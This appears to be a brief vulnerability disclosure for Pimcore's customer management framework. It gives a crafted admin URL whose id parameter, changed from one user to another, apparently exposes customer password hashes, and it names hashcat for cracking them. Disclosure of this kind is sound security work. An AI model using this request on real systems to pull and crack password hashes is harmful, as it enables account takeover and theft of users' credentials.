Proof of Concept

login to admin account and then visit

https://demo.pimcore.fun/admin/customermanagementframework/customers/detail?id=1016&filter[operator-customer]=AND&filter[operator-segments]=AND&filter[showSegments][0]=832&filter[showSegments][1]=833&filter[showSegments][2]=874&filterDefinition[id]=1

able to enum password of id=1016, likewise we can replace id with other user , for example 1015, password hash can be disclosed which can be further cracked with hashcat